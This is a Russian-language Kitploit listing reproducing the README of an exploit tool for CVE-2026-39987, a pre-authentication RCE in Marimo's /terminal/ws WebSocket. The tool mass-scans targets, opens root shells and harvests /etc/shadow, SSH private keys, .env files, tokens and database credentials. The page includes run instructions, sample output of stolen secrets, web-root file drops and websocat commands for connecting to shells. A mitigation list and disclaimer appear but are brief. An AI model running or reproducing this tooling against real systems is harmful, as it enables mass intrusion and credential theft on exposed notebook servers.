Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-39987 — marimo — это реактивный Python-ноутбук. До версии 0.23.0 в Marimo существует уязвимость Pre-Auth RCE (удалённое выполнение кода без аутентификации). | Kitploit
Инструменты/GitHubGitHub/nxploited/cve-2026-39987
Повышение привилегийЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHubnxploited/cve-2026-39987

CVE-2026-39987

marimo — это реактивный Python-ноутбук. До версии 0.23.0 в Marimo существует уязвимость Pre-Auth RCE (удалённое выполнение кода без аутентификации).

Репозиторий
144 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-39987

marimo — это реактивный Python-ноутбук. До версии 0.23.0 в Marimo присутствует уязвимость Pre-Auth RCE

root@kitploit:~
   ___  _        ___     __  __  __  __      ___  __  __  _______
  / (_)(_|   |_// (_)   /  )/  \/  )/       /   \/  |/  |/  \   /
 |       |   |  \__       /|    | /| __       __/\_/|\_/|\__/  / 
 |       |   |  /   -----/ |    |/ |/  \-----   \   |   |/  \ /  
  \___/   \_/   \___/   /___\__//___\__/    \___/   |   |\__//   

CVE-2026-39987

Marimo /terminal/ws — Pre-Auth RCE через неаутентифицированный WebSocket

Массовый сканер · Полная энумерация · Умное обнаружение


Python CVE Severity Type Platform License


Автор: Nxploited  ·  Telegram: @KNxploited


📢 Присоединяйтесь к Telegram-каналу за свежими бесплатными zero-day и эксплойтами:

🔗 Nxploited ZeroDay Hub — t.me/KNxploited


📖 Обзор

CVE-2026-39987 — это критическая уязвимость удалённого выполнения кода без аутентификации (Pre-Authentication Remote Code Execution), затрагивающая Marimo — открытую платформу реактивных Python-ноутбуков.

Конечная точка терминального WebSocket /terminal/ws полностью лишена проверки аутентификации, что позволяет любому неаутентифицированному удалённому злоумышленнику получить полноценную PTY-оболочку и выполнять произвольные системные команды с правами запущенного процесса — часто root в контейнерных развёртываниях.

В отличие от других конечных точек WebSocket, таких как /ws, которые корректно вызывают validate_auth() перед принятием соединений, конечная точка /terminal/ws проверяет только режим работы и совместимость платформы, полностью пропуская аутентификацию.

✅ Исправлено в: marimo >= 0.23.0 ❌ Все версии до 0.23.0 уязвимы


🔍 Сведения об уязвимости

🧩 Первопричина

root@kitploit:~
/ws          →  calls validate_auth()  ✅  Authentication enforced
/terminal/ws →  skips validate_auth()  ❌  No authentication

Обработчик /terminal/ws проверяет только:

  1. Запущен ли сервер в правильном режиме
  2. Поддерживает ли платформа эмуляцию терминала

Он никогда не проверяет токены сессий, cookie или любую форму идентификации — превращая каждый открытый экземпляр Marimo в прямую оболочку.


✨ Возможности

  • 🔥 Массовый сканер — Сканирование тысяч целей одновременно с настраиваемыми пулами потоков
  • 🧠 Умное определение окружения — Автоопределение: Marimo · cPanel/WHM · Plesk · Apache · Nginx · Docker · Node.js · Python-приложения
  • 🐚 Полный доступ к PTY-оболочке — Неаутентифицированная WebSocket-оболочка с полной эмуляцией терминала
  • 📓 Энумерация ноутбуков — Рекурсивно обнаруживает и читает все .py-ноутбуки Marimo
  • 🔑 Сбор токенов — Извлекает токены Marimo из аргументов CLI, переменных окружения и файлов журналов
  • 🗄️ Обнаружение баз данных — Автоматически проверяет MySQL · PostgreSQL · Redis · SQLite · DuckDB
  • 🔐 Извлечение учётных данных — файлы .env · wp-config.php · SSH-приватные ключи · /etc/shadow
  • 📂 Проверка веб-оболочки (Nx Drop) — Записывает proof-of-concept файл в веб-корень и проверяет его доступность по HTTP
  • 📊 Структурированный вывод по каждой цели — Для каждой цели создаётся собственная организованная выходная директория
  • 🎨 Богатый терминальный интерфейс — Профессиональный интерфейс с цветовой кодировкой, панелями, отслеживанием прогресса и статистикой в реальном времени

⚙️ Требования

root@kitploit:~
Python 3.10 or higher

Установите зависимости:

root@kitploit:~
pip install websockets rich requests urllib3

Или с помощью файла requirements:

root@kitploit:~
pip install -r requirements.txt

requirements.txt

root@kitploit:~
websockets
rich
requests
urllib3

🚀 Использование

Шаг 1 — Подготовьте файл с целями

Создайте файл с именем targets.txt, указывая одну цель на строку. Инструмент принимает все форматы:

root@kitploit:~
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718

Поддерживаемые форматы: чистый IP · IP:порт · домен · домен:порт · http:// · https:// · ws:// · wss://


Шаг 2 — Запустите сканер

root@kitploit:~
python3 CVE-2026-39987.py

Шаг 3 — Интерактивная настройка

root@kitploit:~
  ▸ Targets file  (default: targets.txt) : targets.txt
  ▸ Threads       (default: 50)          : 100

Диапазон потоков: 1–300. Рекомендуется: 50–150 в зависимости от вашей сети.


🖥️ Предпросмотр вывода

Терминальный интерфейс

root@kitploit:~
  ╭──────────────────────────────────────────────────────────╮
  │ CVE-2026-39987  ·  Marimo WebSocket RCE                  │
  │ MASS SCANNER  ·  FULL ENUM  ·  SMART DETECT              │
  │ By: Nxploited  ·  github.com/Nxploited  ·  @KNxploited   │
  ╰──────────────────────────────────────────────────────────╯

  ══════════════ ws://192.168.1.100:2718/terminal/ws ══════════

  ╭────────────────────────────────────────╮
  │  ◈◈◈  ROOT ACCESS  ◈◈◈                │
  │  ws://192.168.1.100:2718               │
  │  uid ▸  uid=0(root)  groups=[root]     │
  ╰────────────────────────────────────────╯

  ──  ENVIRONMENT  ──────────────────────────────────────────
    ✦  Type                  MARIMO
    ◈  Docker                True
    ◈  Marimo version        0.22.1
    ◈  Notebook directory    /app/notebooks

  ──  MARIMO — NOTEBOOKS  ───────────────────────────────────
    ✦  Notebooks             7 found
       ·                     /app/notebooks/analysis.py
       ·                     /app/notebooks/data_pipeline.py
       ·                     /app/notebooks/etl_job.py

  ──  MARIMO — TOKENS  ──────────────────────────────────────
    ✦  Token CLI             secret-token-abc123xyz
    ✦  .marimo.toml          /root/.marimo.toml

  ──  /etc  SENSITIVE  ──────────────────────────────────────
    ✦  /etc/shadow           READABLE  [42 entries]
    ◈  /etc/passwd           [42 lines]
    ◈  /etc/crontab          [12 lines]

  ──  SSH KEYS  ─────────────────────────────────────────────
    ✦  /root/.ssh/id_rsa     FOUND
    ✦  /root/.ssh/id_ed25519 FOUND

  ──  DATABASES  ────────────────────────────────────────────
    ✦  MySQL                 DATABASES LISTED
    ✦  Redis                 PONG — NO AUTH
    ✦  DuckDB files          /app/notebooks/data.duckdb

  ──  SENSITIVE ENV VARS  ───────────────────────────────────
    ✦  DATABASE_URL          postgresql://admin:p4ss@db:5432/prod
    ✦  AWS_SECRET_ACCESS_KEY redacted...

  ──  NX FILE DROP  ──────────────────────────────��──────────
    ✦  Shell write           /app/notebooks/Nx.py
    ✦  HTTP access           http://192.168.1.100:2718/Nx.py

  ──  COMPLETE  ─────────────────────────────────────────────
    ◈  Saved to              nx_output/192.168.1.100_2718/

  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

Прогресс в реальном времени

root@kitploit:~
  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

📁 Структура вывода

root@kitploit:~
nx_output/
│
├── summary.txt                    ← Master summary of all targets
├── curls.txt                      ← websocat one-liners for all shells
├── Nx.txt                         ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/            ← Per-target directory
    ├── summary.txt                ← Target summary & connect command
    ├── identity.txt               ← id · whoami · uname · hostname · shell
    ├── users.txt                  ← /etc/passwd · shadow · sudoers · last
    ├── ssh_keys.txt               ← Discovered SSH private keys & auth keys
    ├── etc_data.txt               ← /etc/hosts · resolv.conf · crontab · env
    ├── env_sensitive.txt          ← Filtered sensitive environment variables
    ├── databases.txt              ← MySQL · Redis · PostgreSQL · config files
    ├── app_configs.txt            ← .env · wp-config.php · settings.py · etc
    ├── notebooks.txt              ← Full content of all Marimo notebooks
    ├── marimo_toml.txt            ← .marimo.toml configuration files
    ├── marimo_tokens.txt          ← All extracted Marimo auth tokens
    ├── dotenv.txt                 ← .env / .env.local / .env.production
    ├── databases_marimo.txt       ← DuckDB · SQLite · DB URLs from notebooks
    ├── webserver_configs.txt      ← Apache/Nginx VirtualHosts & configs
    ├── network.txt                ← Interfaces · routes · open ports · iptables
    ├── processes.txt              ← ps aux · crontab · cron.d · systemd units
    ├── logs.txt                   ← auth.log · syslog · access.log · error.log
    ├── nx_file.txt                ← Nx drop path · web root · HTTP URL
    └── software.txt               ← PHP · Python · Node.js versions

📊 Уровни доступа


🌍 Поддерживаемые окружения


🔌 Ручное подключение

После обнаружения уязвимой цели подключитесь вручную с помощью websocat:

root@kitploit:~
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases

# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"

# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"

Значение заголовка Authorization не имеет значения — конечная точка принимает любой токен или его отсутствие.


🛡️ Меры по устранению

Если вы запускаете Marimo в производственной или открытой среде:

  1. Немедленно обновитесь до marimo >= 0.23.0
  2. Разместите Marimo за аутентифицирующим обратным прокси (Nginx + BasicAuth / OAuth2-прокси)
  3. Привяжите Marimo только к 127.0.0.1 — никогда не открывайте его напрямую в интернет
  4. Используйте правила файрвола для ограничения доступа к /terminal/ws
  5. Проверьте ваше развёртывание на наличие открытых экземпляров

⚠️ Отказ от ответственности

Этот инструмент предоставляется строго в образовательных целях, для авторизованного тестирования на проникновение и легитимных исследований в области безопасности.

Вы обязаны получить явное письменное разрешение владельца системы перед запуском этого инструмента против любой цели. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения, незаконно и может повлечь гражданское и/или уголовное преследование в соответствии с применимыми законами о компьютерных преступлениях, включая, помимо прочего, Закон о компьютерном мошенничестве и злоупотреблениях (CFAA), Закон о неправомерном использовании компьютеров, директивы ЕС о киберпреступности и эквивалентное законодательство вашей юрисдикции.

Автор не несёт никакой ответственности за любой ущерб, потерю данных или юридические последствия, возникшие в результате неправомерного использования этого инструмента.

Используйте ответственно. Взламывайте этично.


👤 Автор

Скачать инструмент
СвойствоЗначение
ID CVECVE-2026-39987
Затронутое ПОmarimo < 0.23.0
Класс уязвимостиPre-Auth RCE через неаутентифицированный WebSocket
Затронутая конечная точка/terminal/ws
Вектор атакиСеть
Требуется аутентификация❌ Нет
Взаимодействие с пользователем❌ Нет
Серьёзность🔴 Критическая
ВоздействиеПолная PTY-оболочка · Выполнение произвольных команд
Исправленная версияmarimo 0.23.0
ИконкаУровеньОписание
✦✦✦ 🟢ROOTuid=0 — Полный root-доступ
✦✦ 🟡PRIVЧлен групп sudo · wheel · docker · disk · adm
✦ 🔵SHELLДоступ к оболочке без привилегий
✗ 🔴FAILОтказ в соединении · таймаут · ошибка HTTP
ОкружениеАвтоопределениеСпециализированный сбор
🟣 Marimo✅Ноутбуки · Токены · DuckDB · .marimo.toml · монтирования
🔵 cPanel / WHM✅userdomains · пароль MySQL · список пользователей WHM
🟠 Plesk✅psa.shadow · vhosts · учётные данные администратора MySQL
🌐 Apache✅VirtualHosts · sites-enabled · журналы доступа/ошибок
🟢 Nginx✅Server blocks · conf.d · журналы доступа/ошибок
🐍 Python-приложение✅.env · settings.py · config.py · Pipfile
🟡 Node.js✅.env · package.json · public-директория
🐳 Docker✅Bind-mounts · определение локального хранилища контейнера
⚙️ Универсальное✅Полный набор энумерации для неизвестных окружений
ПсевдонимNxploited
GitHubgithub.com/Nxploited
Telegram@KNxploited
КаналNxploited ZeroDay Hub


«Чем тише ты становишься, тем больше ты способен услышать.»


⭐ Если этот инструмент оказался полезным, поставьте звезду и присоединяйтесь к каналу за новыми zero-day! ⭐

🔗 t.me/KNxploited